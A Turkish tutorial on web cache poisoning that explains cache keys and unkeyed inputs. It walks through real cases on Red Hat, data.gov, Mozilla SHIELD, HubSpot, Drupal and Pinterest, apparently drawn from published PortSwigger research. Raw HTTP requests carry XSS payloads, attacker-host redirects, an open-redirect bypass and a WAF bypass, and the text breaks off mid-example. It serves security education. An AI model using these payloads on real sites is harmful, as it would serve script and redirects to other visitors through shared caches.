Önbelleğe hangi isteklerin alınması gerektiğine karar vermek için istekle birlikte gelen bazı değerlerin “anahtar” yani “key” olarak seçilip, bu anahtarlara göre benzersiz önbellekler tutulması gerekir. Peki bu ne demek oluyor. Örneğin basit bir önbellek mekanizmasında; statik içeriğe sahip sayfa için aynı URL adresini ziyaret edecek olan iki kullanıcı düşünelim. Bu önbellek mekanizması URL adresine bakarak ilk istekten sonra sunucunun döndürmüş olduğu yanıtı, tam olarak bu URL adresi ile eşleştirerek tekrar bu URL talep edildiğinde hızlıca önbellekten bu yanıtı döndürebilir.

Aşağıdaki gibi spesifik bir URL adresine GET isteğinde bulunulduğunu farz edelim.

Önbellek sunucusu da önbelleğe aldığı verilere tekrar erişmek üzere her birine benzersiz bir anahtar tanımlamak durumunda. Anahtar tanımlamak için da Method, URL, Protocol Sürümü ve Host başlığını kullanıp bir çeşit algoritma ile benzersiz bir key yani anahtar üretebilir.

Burada benim verdiğim örnek yalnızca “key” yani “anahtar” kavramını basit şekilde açıklamak için. Önbellek mekanizması, benzersiz anahtar üretimi için HTTP isteğindeki hangi kısımları dikkate alacağına kendisi(nasıl konfigüre edildiyse) karar verir. Buradaki örneğimizde HTTP isteğinde yer alan “Method, URL, Protocol Sürümü ve Host başlığı” bilgileri “key” üretimi için kullanılan “cache key” değerleridir. Örneğin yalnızca URL üzerinden cache key üreten önbellek mekanizmasında; sadece URL dikkate alınır ve yalnızca bu URL’in bulunduğu HTTP istekleri bu önbelleğe erişebilir.

Bu durumun daha net anlaşılması için cache hizmeti de sunan bir CDN olan cloudflare üzerinde yer alan “cache rules” sekmesinden, önbellekleme için gerekli olan şartların ne kadar çeşitli olabileceğine bizzat kendiniz de göz atabilirsiniz.

Gördüğünüz gibi gelen istekteki pek çok farklı kriteri “and” “or” yani “ve” “veya” koşullarıyla birbirine bağlayarak, önbellek oluşturma kuralını istediğimiz gibi düzenleyebiliyoruz. Pek çok önbellek mekanizması da benzer şekilde kuralları özelleştirme noktasında bu şekilde imkanlar tanıyor.

Önbelleğe alma kavramı basit gözükebilir ancak bazı durumlarda risk teşkil edebiliyor. Önbellek mekanizması bir kaynak için bir istek aldığında, bu kaynağın bir kopyasının önceden kaydedilmiş olup olmadığına ve bununla yanıt verip veremeyeceğine veya isteği uygulama sunucusuna iletmesi gerekip gerekmediğine karar vermesi gerekiyor.

Kullanıcılardan gelen iki isteğin aynı kaynağı talep edip etmediğini belirlemek çoğunlukla zordur. Örneğin toplam bayt uzunluğunun aynı olması durumu geçersizdir çünkü bayt uzunluğunu etkileyebilecek User-Agent gibi kullanıcı tarafına özel olarak değişen başlıklar mevcuttur. Kullanıcılar aynı tarayıcıyı kullanıyor olsa bile sürüm farkından dolayı toplam bayt birbirine eşit olmayabilir.

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/58.112
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close

Bu sebeple her iki kullanıcının da aynı kaynağa erişmek istediğini toplam bayt üzerinden tayin etmeye çalışmak sağlıklı değildir.

Zaten bu sebeple biraz önce bahsettiğimiz gibi önbellek mekanizmaları bu sorunu çözmek üzere, gelen HTTP isteğinde yer alan bazı belirli bileşenleri önbellek anahtarı üretmek üzere kabul edip işler. Yani HTTP isteğindeki her veri değil, yalnızca bazı bileşenler dikkate alınır. Anlatımlar sırasında anahtar üretimi için kullanılan HTTP bileşenlerini mavi renkle özellikle belirtiyor olacağım. Yukarıdaki bir önceki örnek çıktılarına bakacak olursanız mavi renkle işaretlenmiş kısımlar aslında önbellek mekanizması için önbellek anahtarı oluşturmak adına dikkate alınan kısımlardır. Bunlar dışındaki HTTP istek içeriğindeki tüm bileşenler “unkeyed input”, yani anahtarlanmamış ya da daha doğrusu anahtarlama için kullanılmayan girdilerdir. Bu kavramlar önemli olduğu için iyi anlaşılmaları önemli.

Yani örneğin URL ve Host başlığına göre anahtar oluşturan bir önbellek mekanizması için aşağıdaki iki HTTP isteği de aynı kabul edilir. Dolayısıyla ilk istek için üretilmiş olan yanıt önbellek üzerinden ikinci isteğe de dönülür.

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=tr;
Connection: close

GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close

Eğer dikkat edecek olursanız, her iki istekteki dil farklı olduğu için ikinci isteğe önbellekten döndürülen yanıt aslında kullanıcı için yanlış dildedir. Bu durumun nedeni; “anahtarlama” için kullanılmayan tüm diğer kısımların, önbellekten yanıt verilen tüm kullanıcılara değişmeden iletiliyor olması tabii. Kötü niyetli olanları da dahil!

Aslında teorik olarak Cache mekanizmasındaki anahtar oluşturmak için kullanılması gerekenlerin belirtildiği konfigürasyonlara ek olarak, anahtarlanması istenen tüm ek istek başlıklarını belirtmek için web sunucusu yanıtında ‘Vary’ başlığı kullanılabilir. Fakat pratikte Cloudflare gibi CDN’ler Vary başlığını göz ardı edip yalnızca kendi konfigürasyonları dahilinde anahtar oluşturduğu için Vary başlığı çoğu durumda etkisiz kalabiliyor.

Yine de Vary başlığını görmezden gelmeyen bir cache mekanizması kullanıldığı durumda; yukarıdaki örnekte dil tercihinin de önbellek anahtarı oluşturulurken dikkate alınması için Vary: Cookie şeklinde web sunucusu yanıtı olarak iletilmesi sağlanabilir. Fakat tahmin edebileceğiniz gibi Cookie bilgisinin önbelleğe alınıp diğer kullanıcılara bu önbellekteki yanıtı döndürmek felaket derecede hatalı bir yaklaşım olurdu. Zaten sırf bu ve bunun gibi hatalı konfigürasyonlardan kaçınmak için çoğu cache mekanizması Vary başlığını görmezden gelebiliyor.

Önbellek Zehirlenmesi | Cache Poisoning

Önbellek zehirlenmesi, zararlı olabilecek yanıtın önbelleğe kaydolmasını sağlayan istek göndermektir.

Kaynak:Portswigger

Bu yazıda önbellek anahtarı için kullanılmayan HTTP başlıkları gibi girişleri(unkeyed input) kullanarak önbellek zehirlemesini ele alacağız. Tabii ki önbellek zehirlemesi için tek yaklaşım bu değil. HTTP Response Splitting ve Request Smuggling yaklaşımları da kullanılabilir. Ayrıca web önbellek mekanizmasının “Web Cache Deception” ismi verilen başka bir zafiyete yol açtığını da belirtmek isterim. Lakin “Web Cache Deception ” ile önbellek zehirlenmesini karıştırmayın lütfen. İkisi farklı yaklaşımlar. Tek ortak noktası web önbelleklerinin neden olmasıdır.

Metodoloji

Cache poisoning zafiyetleri için aşağıdaki metodolojiyi kullanıyor olacağız:

Kaynak:Portswigger

İlk adım olarak unkeyed input yani anahtar olarak kabul edilmeyen girdileri bulmamız gerekiyor. Bu işi manuel olarak tek tek elle yapmak fevkalade zor bu sebeple Param Miner isimli burp eklentisini kullanarak header/cookie isimlerini otomatik olarak test edip, yanıtlar üzerindeki etkilerine bakıyor olacağız.

Anahtarlanmamış bir giriş bulduktan sonra, sonraki adımlar onunla ne kadar hasar verebileceğinizi değerlendirmek ve ardından onu önbellekte saklamaya çalışmaktır. Eğer önbelleğe alınmasını sağlayamazsanız, önbelleğin nasıl çalıştığını daha iyi anlamanız ve önbelleğe alınabilir bir hedef sayfayı bulmanız gerekiyor. Bir sayfanın önbelleğe alınıp alınmayacağı, dosya uzantısı, içerik türü, dizin adresi, durum kodu ve yanıt başlıkları gibi çeşitli faktörlere bağlı olabilir.

Önbellekten dönülen aynı yanıtlar dolayısıyla, bulmaya çalıştığımız diğer anahtar olarak kullanılmayan girişler maskelenebilir. Yani başka anahtarsız girişler olsa bile önbellek dolayısıyla bunları fark etmeyebiliriz. Bu sebeple her bir isteğin benzersiz olmasını sağlamak için önbellek bozucu rastgele bir değeri her denemede göndermemiz gerekir. Eğer keşif için param miner kullanıyorsanız parametre olarak $randomplz ekleyerek her isteğin benzeriz bir önbellek anahtarına sahip olmasını sağlayabilirsiniz. Ayrıca bu sayede canlı ortamda çalışan bir websitesini, diğer kullanıcılara zarar vermeden önbelleğe alma davranışları açısından kolayca test etmeniz de mümkün olur.

Gerçek Dünyadan Vakalar

Basit Zehirleme

Param Miner, Red Hat’in ana sayfasında anahtar olarak kullanılmayan bir girdi buldu.

GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />

Yanıta baktığımızda X-Forwarded-Host başlığının, Open Graph URL meta etiketi oluşturmada kullanıldığını görebiliyoruz.

ℹ️ Not: Open Graph Protokolü, URL‘lerin sosyal medyada paylaşıldığında nasıl görüntüleneceğini kontrol eden bir çözümdür.

X-Forwarded-Host başlığının yanıta yansıdığını gördükten sonra ilk adım bunu nasıl kötüye kullanabileceğimizi keşfetmekte. Örneğin XSS payload’ı ekleyip deneyebiliriz.

GET /en?onbellekdenemesi=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>

HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/> 

Evet istediğimiz xss yükünü yanıta ekleyebildik. Şimdi bu yanıtın diğer kullanıcılar gösterilebilmesi için önbelleğe alındığından emin olmamız gerek. Bu noktada yanıtta yer alan Cache-Control: no-cache başlığının bizi vazgeçirmesine izin vermemeliyiz. Zira bir saldırı girişiminde bulunmak, işe yaramayacağını varsaymaktan her zaman daha iyidir. Önbelleğe alınma durumunu, isteği kötü amaçlı başlık olmadan yeniden göndererek ve ardından URL’yi doğrudan farklı bir makinedeki(mümkünse farklı bir public ip üzerinden) tarayıcıdan açarak kesin olarak doğrulayabilirsiniz:

GET /en?onbellekdenemesi=1 HTTP/1.1
Host: www.redhat.com

HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/> 

Görüldüğü gibi farklı bir cihazdan aynı link ziyaret edildiğinde, istekte herhangi bir ek başlık olmamasına rağmen xss yükünün bulunduğu yanıtın önbellekten döndürüldüğünü teyit etmiş olduk.

Kısa bir DNS sorgusu ile www.redhat.com’un aslında www.redhat.com.edgekey.net adresinin CNAME’i olarak tutulduğunu, dolayısıyla Akamai’nin CDN hizmetini kullanarak cache sunduğunu da teyit edebiliyoruz.

$$ nslookup.exe www.redhat.com
Server:  one.one.one.one
Address:  1.1.1.1

Non-authoritative answer:
Name:    e3396.dscx.akamaiedge.net
Addresses:  2a02:26f0:fa00:1a7::d44
          2a02:26f0:fa00:1af::d44
          2.20.169.214
Aliases:  www.redhat.com
          ds-www.redhat.com.edgekey.net
          ds-www.redhat.com.edgekey.net.globalredir.akadns.net

Gizli Zehirlenme

Önceki örnekte sitenin gerçek ziyaretçilerini etkilememek için https://www.redhat.com/en?onbellekdenemesi=1 adresini zehirleyerek zafiyetin varlığını kanıtladık. Eğer doğrudan ana sayfayı zehirlemek istiyorsak, önbelleğe alınan yanıtın süresi dolduktan hemen sonra bizim zararlı yükü barındıran isteği gönderip bunun önbelleğe alınmasını sağlamamız gerekiyor.

Bunu kaba yoldan veya daha stratejik biçimde gerçekleştirebiliriz. Kaba yol olarak burp intruder veya benzeri bir script yazarak sürekli olarak aynı isteği gönderip, zamanı geldiğinde bu isteğin önbelleğe alınmasını sağlayabiliriz. Fakat bu çoğu durumda rate limit dolayısıyla şüpheli işlem kısıtlamalarına takılacaktır. Bunun yerine cache geçerlilik mekanizmasının nasıl çalıştığını anlayıp tam zamanında isteği göndermek çok daha zarif bir yaklaşım. Eğer yanıtlarda açıkça önbelleğin geçerlilik süresi belirtilmiyorsa bu tespiti gerçekleştirmek biraz zorlayıcı olabilir.

Yine de pek çok websitesi önbellek geçerlilik süresi hakkında yanıtlarda bilgi sunabiliyor.

GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net

HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>

Burada, X-Host başlığının anahtar olarak kullanılmadığı ve yanıtta yansıtıldığını görebiliyoruz. Ayrıca yanıtta yer alan Cache-Control: max-age=1800 değeri sayesinde önbelleğe alınan verilerin ne kadar süreyle önbellekte tutulduğu konusunda da bilgi edinebiliyoruz. Birlikte ele alındığında bunlar bize, yanıtımızın önbelleğe alınmasını sağlamak için veri yükümüzü göndermemiz gereken tam saniyeyi söyler.

Seçici-Hedef Odaklı Zehirleme

HTTP başlıkları cache mekanizmaları konusunda pek çok yararlı bilgi sunabiliyor. Aşağıdaki örnek, Fastly kullanan popüler bir websitesine ait.

GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>

HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe> 

Bu örnek başlangıçta ilk örnekle neredeyse aynı görünüyor. Ancak Vary başlığı bize User-Agent’in önbellek anahtarının bir parçası olabileceğini belirtiyor ve manuel testler bunu doğruluyor. Bu durum, Firefox 60 kullandığımızı iddia ettiğimiz için, istismarımızın yalnızca diğer Firefox 60 kullanıcılarına sunulacağı anlamına geliyor. Dolayısıyla hedef odaklı seçici bir saldırı için bu tür anahtar değerleri kullanılabilir.

DOM Zehirleme

Anahtar olarak kullanılmayan girdilere XSS yükleri ekleyerek zafiyet oluşturmak her zaman mümkün olmayabilir.

Örneğin aşağıdaki istek ve yanıt üzerinden ilerleyecek olursak;

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
<body data-site-root="https://canary/">

Çıktıdan anlaşıldığı üzere data-site-root değerini kontrol edebiliyoruz. Ancak XSS elde etmek için tırnak dışına çıkamıyoruz. Hatta bu özelliğin tam olarak ne için kullanıldığını da belli değil. Öğrenmek için Burp’ta tüm isteklere bir X-Forwarded-Host: id-burpcollaborator.net başlığı ekleyecek bir bul-değiştir kuralı tanımlayıp sitede gezinebiliriz. Bu gezinti neticesinde bazı sayfalar yüklendiğinde sunucuya JavaScript tarafından oluşturulan aşağıdaki istek gönderildi.

GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net

HTTP/1.1 200 OK
…
{}

Bu /api/i18n/en yolu, web sitesinde bir yerde, bazı lokalleştirme verilerinin nereden yükleneceğine karar vermek için data-site-root özelliğini kullanan JavaScript kodunun bulunduğunu gösteriyor. https://catalog.data.gov/api/i18n/en adresini ziyaret ettiğimizde yalnızca boş bir JSON yanıtı mevcut. Neyse ki ‘en’ değerini ‘es’ olarak değiştirdiğimizde bir ipucu elde ediyoruz:

GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov

HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}

Buradaki dosya, cümleleri kullanıcının seçtiği dile çevirmek için bir harita içeriyor. Kendi çeviri dosyamızı oluşturarak ve kullanıcıları buna yönlendirmek için önbellek zehirlenmesini kullanarak, çeviriyi kötüye kullanabiliriz. Bunun için kendi websitemiz üzerinde örneğin linuxdersleri.net/api/i18n/en adresinde {"Show more":"<svg onload=alert(1)>"} gibi bir json yanıtı sunabiliriz. Bu sayede biz kendi websitemizi X-Forwarded-Host başlığı ile önbelleğe kaydettiğimizde bizim websitemizdeki /api/i18n/en adresine istek yapılıp, “show more” ifadesinin yer aldığı her yere XSS payload’ı konularak zafiyet tetiklenmiş edilmiş olacak.

GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: linuxdersleri.net

HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront 
…
<body data-site-root="https://linuxdersleri.net/">

Bu istek önbelleğe alındığında, arkaplanda otomatik olarak linuxdersleri.net/api/i18n/en adresindeki çeviri verisi çekilip ilgili ifade yerini alıyor olacak.

GET  /api/i18n/en HTTP/1.1
Host: linuxdersleri.net

HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}

Dolayısıyla “Show more” ifadesinin yer aldığı tüm sayfalarda kullanıcılar XSS’e maruz kalacak.

Mozilla SHIELD’ın ele geçirilmesi | Hijacking Mozilla SHIELD

James Kettle, catalog.data.gov üzerinde gerçekleştirdiği araştırma esnasında uyguladığı XFH başlığı için bul-değiştir kuralı sayesinde Mozilla Shield mekanizmasında da bir zafiyet keşfetmiş. Proxy üzerinde istekte yer alan tamamı küçük harfli origin: null başlığı dikkatini çekmiş.

GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net

Peki bu origin: null ne anlama geliyor ve ne zaman kullanılır diye kısaca açıklayacak olursak:

1. Yönlendirmeler: Bir sayfa başka bir sayfaya yönlendirildiğinde, tarayıcı bazen yönlendirme sürecinde kaynak bilgisini kaybeder ve bu durumda “null” kökeni kullanır.
2. Yerel HTML Dosyaları: Yerel olarak açılan HTML dosyaları, internete bağlı olmadıkları için bir kökene sahip değildirler ve bu nedenle “null” kökeni kullanırlar.

Bu bilgi ışığında araştırmacı; proxy loglarını incelerken, Firefox’un pazarlama ve araştırma amacıyla uzantıları sessizce yüklemek için SHIELD sisteminin bir parçası olarak bir “recipes” yani ‘tarifler’ listesi getirmeye çalıştığını fark etmiş. X-Forwarde-Host başlığı da bu sistemi kandırıp “tarifleri” almak için Firefox’u araştırmacının kendi websitesine yönlendirdiğini görmüş.

GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net

HTTP/1.1 200 OK
{
  "action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
  "action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
  "recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
  "recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
   …
}

Tarif yönergesi yani recipe içeriği de aşağıdaki gibi görünüyormuş:

[{
  "id": 403,
  "last_updated": "2017-12-15T02:05:13.006390Z",
  "name": "Looking Glass (take 2)",
  "action": "opt-out-study",
  "addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
  "filter_expression": "normandy.country in  ['US', 'CA']\n && normandy.version >= '57.0'\n)",
  "description": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]

Üstelik bu sistem NGINX’in önbellek mekanizmasını kullandığı için bu zararlı yanıtın önbelleğe kaydedilerek diğer tüm Firefox kullanıcılarına sunulması ihtimalini ortaya çıkarmış. Sonuçta Firefox’un on milyonlarca günlük kullanıcısının araştırmacının web sitesinden tarifler alacağı bir zafiyet oluşmuş.

Tarifler imzalı olduğu için doğrudan kullanıcılara zararlı olabilecek eklentileri kurup çalıştırtmak mümkün olmasa da tüm kullanıcıları istediği adrese yönlendirmenin oluşturabileceği DDoS saldırısı mümkündür. Ayrıca bulunacak olası bir memory corruption zafiyeti ile çok daha tehlikeli zafiyetlerin zincirleme sonucu ortaya çıkması da olasılık dahilinde.

Yönlendirme Zehirlemesi | Route poisoning

Bazı uygulamalar URL oluşturmak için HTTP başlıklarını hatalı şekilde kullanmanın ötesinde, bunları dahili istek yönlendirme için de kullanma hatasına düşebiliyor.

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: test-degeri

HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain test-degeri does not exist in our system.</p>

Alınan çıktından anlaşıldığı üzere Goodhire.com HubSpot’ta barındırılıyor ve HubSpot, X-Forwarded-Server başlığına Host başlığından daha fazla öncelik veriyor ve bu durum isteğin hangi istemciye yönelik olduğu konusunda kafa karışıklığı yaratıyor.

Bu durumdan yararlanmak için hubspot.com’a gitmemiz, kendimizi bir HubSpot istemcisi olarak kaydetmemiz, HubSpot sayfamıza bir XSS payload eklememiz ve ardından son olarak HubSpot’u goodhire.com’da bu yanıtı sunması için kandırmamız gerekiyor:

GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com

HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>

Servis cloudflare ile önbellek tutuğu için bu zararlı yanıt önbellek üzerinden sonraki ziyaretçilere sunulmuş oldu.

Gizli Yönlendirme Zehirlemesi

Yönlendirme zehirlemesi açıkları her zaman bir önceki örnekte olduğu kadar aşikar olmayabilir:

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: test-degeri

HTTP/1.1 302 Found
Location: https://ghost.org/fail/ 

Cloudflare’ın blog’unun Ghost üzerinde barındırıldığını ve X-Forwarded-Host başlığının da Ghost üzerinde bir etkisi(fail yanıtı döndü) olduğunu aldığımız çıktıdan görebiliyoruz. Eğer hata yönlendirmesinden kaçınmak isterseniz blog.binary.com gibi bilinen bir blog adresini host olarak belirtebilirsiniz. Ancak tuhaf bir biçimde bu yalnızca 10 saniyelik gizemli bir gecikme ve ardından standaert blog.cloudflare.com yanıtı ile sonuçlanır.

Yeni bir kullanıcı Ghost üzerinde ilk kez blog kaydettirdiğinde, ghost.io altında benzersiz bir alt alan adı üretiliyor. Tabii bu kullanıcı dilerse bu mevcut blog için blog.cloudflare.com gibi isteğe bağlı bir özel alan adı tanımlayabilir. Bir kullanıcı özel bir alan adı tanımladıysa, Ghost.io alt alanı basitçe bu alana yönlendirilecektir:

GET / HTTP/1.1
Host: alan-adi.ghost.io

HTTP/1.1 302 Found
Location: http://ozel-alan-adi.blog/

En önemlisi, aslında bu yönlendirme X-Forwarded-Host başlığı kullanılarak da tetiklenebilir:

GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: alan-adi.ghost.io

HTTP/1.1 302 Found
Location: http://ozel-alan-adi.blog/

Bu sayede aslında ghost.org üzerinde bir hesap oluşturup kendi özel alan adımı tanımlayacak olursam, blog.cloudflare.com isteklerini X-Forwarded-Host başlığını kullanılarak kendi siteme yönlendirmem mümkün oluyor. Bu isteği önbelleğe kaydedecek olursam, tüm ziyaretçileri benim adresime yönlendirebilirim.

Anahtarsız Girişlerin Zincirlenmesi

Bazı durumlarda, anahtar olarak kullanılmayan girdiler, uygulama yanıtı üzerinde küçük bir parçada bulunur.

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz

HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz

Gördüğünüz gibi X-Forwarded-Host başlığı, sunucunun çerezleri (Set-Cookie) belirli bir domaine (xyz) ayarlamasına neden oluyor. Ancak, yanıt içindeki URL’ler değiştirilmemiş. Tek başına bu bilgi, saldırı yapmak için yeterli değil. Bu durumdan yararlanmak için diğer anahtar olarak kullanılmayan girişlerle bu anahtarsız girişi birleştirmemiz gerekebilir.

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en

X-Forwarded-Scheme: nothttps başlığı, sunucunun yönlendirme yanıtı sunmasına sebep oluyor ancak hedef domain değişmiyor. Tek başına bu bilgi de saldırı yapmak için yeterli değil. Ancak ikisini birleştirirsek, sunucu yanıtının Location başlığını değiştirebiliriz ve bu, saldırganın kontrol ettiği bir domain’e yönlendirme sağlar.

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps

HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en 

Bu tekniği kullanarak bir POST isteğini yeniden yönlendirerek CSRF tokenlerini düzenlenmiş olan HTTP başlığından çalmak mümkündür.(Tabii CORS müsade ediyorsa.) Ayrıca, daha önce bahsedilen data.gov üzerindeki zafiyete benzer şekilde, JSON olarak XSS yükü ekleyerek DOM based stored XSS’yi de elde etmek mümkündür.

Open Graph Hijacking

Open graph protokolü, websitelerinin içeriklerinin sosyal medyada paylaşıldığında nasıl görüneceğinin belirlenmesini sağlar.

Örneğin anahtar olarak kullanılmayan X-Forwarded-Host başlığı Open Graph URL adresini değiştiriyor:

GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>

Burada ele geçirdiğimiz og:url parametresi, paylaşılan URL’yi etkili bir şekilde geçersiz kılar, böylece bu sayfayı paylaşan herkes aslında bizim seçtiğimiz içeriği paylaşmış olur.

Yanıta dikkat edecek olursanız, web uygulaması Cache-Control: private ile Cloudflare’in önbelleğe almamasını sağlıyor. Fakat websitesindeki diğer bazı sayfalar önbelleğe alındığı için bu zafiyeti o sayfalar üzerinden gerçekleştirmek mümkün.

GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS

Buradaki ‘CF-Cache-Status’ başlığı, Cloudflare’in bu yanıtı önbelleğe almayı düşündüğünün bir göstergesi, ancak buna rağmen yanıt aslında hiçbir zaman önbelleğe alınmıyor. Araştırmacı, Cloudflare’in bunu önbelleğe almayı reddetmesinin session_id çereziyle ilgili olabileceğini tahmin edip bu çerez mevcutken yeniden denemiş:

GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com

HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url" 
content='https://attacker.com/…

Böylelikle yanıt önbelleğe alınmış oldu. Ayrıca araştırmacı, tahmin etmeye çalışmak yerine Cloudflare önbellek dokümantasyonlarının okunması gerektiğine de vurgu yapıyor.

Bu yanıt önbelleğe alınmış olmasına karşın, Facebook üzerindeki “share” özelliği, önbellekteki yanıtı dikkate almıyor. Hangi önbelleğin işe yarayacağını tanımlayabilmek üzere Cloudflare sitesinin debug özelliği olan /cdn-cgi/trace kullanılabilir.

Burada colo=AMS satırı Facebook’un waf.party‘e Amsterdam’daki bir önbellek üzerinden eriştiğini gösteriyor. Hedef web sitesine Atlanta aracılığıyla erişildiği için, oradan ayda 2 ABD doları tutarında bir VPS kiralayıp ve zehirlenmeyi tekrar denemiş araştırmacı:

Lokal Yönlendirme Zehirlemesi

James Kettle, araştırması sırasında php uygulamalarının yaygın olarak desteklediği X-Original-URL ve X-Rewrite-URL gibi http başlıkları keşfetmiş. Bunların WAF atlatmada kullanılabileceğini de bizzat deneyimlemiş.

GET /admin HTTP/1.1
Host: unity.com

HTTP/1.1 403 Forbidden
...
Access is denied

GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin

HTTP/1.1 200 OK
...
Please log in

Bir uygulama önbellek kullanıyorsa, bu başlıklar yanlış sayfaların sunulmasına neden olacak şekilde kötüye kullanılabilir. Örneğin, aşağıdaki isteğin /education?x=y önbellek anahtarı vardır ancak içeriği /gambling?x=y’den alır:

Sonuçta bu isteği gönderdikten sonra Unity for Education sayfasına erişmeye çalışan herkes bir sürprizle karşılaşıyor:

Tek başına sayfaların yerini değiştirmek risk teşkil etmese de yerine göre kritik güvenlik açıkları için bir adım olarak kullanılabilir.

Dahili Önbellek Zehirlenmesi

Drupal genellikle Varnish gibi üçüncü taraf önbelleklerle kullanılır, ancak aynı zamanda varsayılan olarak etkin olan dahili bir önbellek mekanizması da içerir. Bu önbellek, X-Original-URL başlığının farkındadır ve onu önbellek anahtarına ekler, ancak bu başlıktaki sorgu dizesini de dahil etme hatasına düşer:

Önceki saldırı bir yolu başka bir yolla değiştirmemize izin verirken, bu saldırı sorgu dizesini geçersiz kılmamıza olanak tanıyor:

GET /search/node?keys=kittens HTTP/1.1

HTTP/1.1 200 OK
…
Search results for 'snuff'

Bu daha umut verici ama yine de oldukça sınırlı; üçüncü bir bileşene ihtiyacımız var.

Drupal Open Redirect

Araştırmacı Drupal’ın URL-override kodunu okurken, “destination” sorgu parametresini kullanarak yönlendirme hedefini geçersiz kılabileceğini fark etmiş. Drupal harici bir alana yönlendirmeyi önlemek için URL ayrıştırması uygular fakat bunu atlamak da mümkündür:

GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com

HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/

Drupal, path üzerinde çift eğik çizgiyi // normalleştirmek için /’ye dönüştürür, ancak ardından “destination” parametresi devreye girer. Drupal, hedef URL’nin ‘evil.net’ kullanıcı adıyla unity.com‘a işaret ettiğini düşünür. Ancak pratikte web tarayıcıları \‘yi otomatik olarak /‘ye dönüştürerek kullanıcıları evil.net/@unity.com adresine yönlendirir. Esasen Open redirect tek başına pek heyecan verici değildir, ancak artık ciddi bir zafiyet istismarı için gerekli tüm yapı taşlarına nihayet sahibiz.

Kalıcı Yönlendirme Kaçakçılığı(Hijacking)

Parametrenin üzerine yazma açığı ile open redirect açığını birlikte kullanarak kalıcı yönlendirme kaçakçılığına sebep olmak mümkün.

Pinterest’in bussines web sitesindeki belirli sayfalar, yönlendirme yoluyla JavaScript’i içe aktarıyor. Aşağıdaki istek, mavi renkle gösterilen önbellek girdisini turuncu renkle gösterilen parametreyle zehirler:

GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1

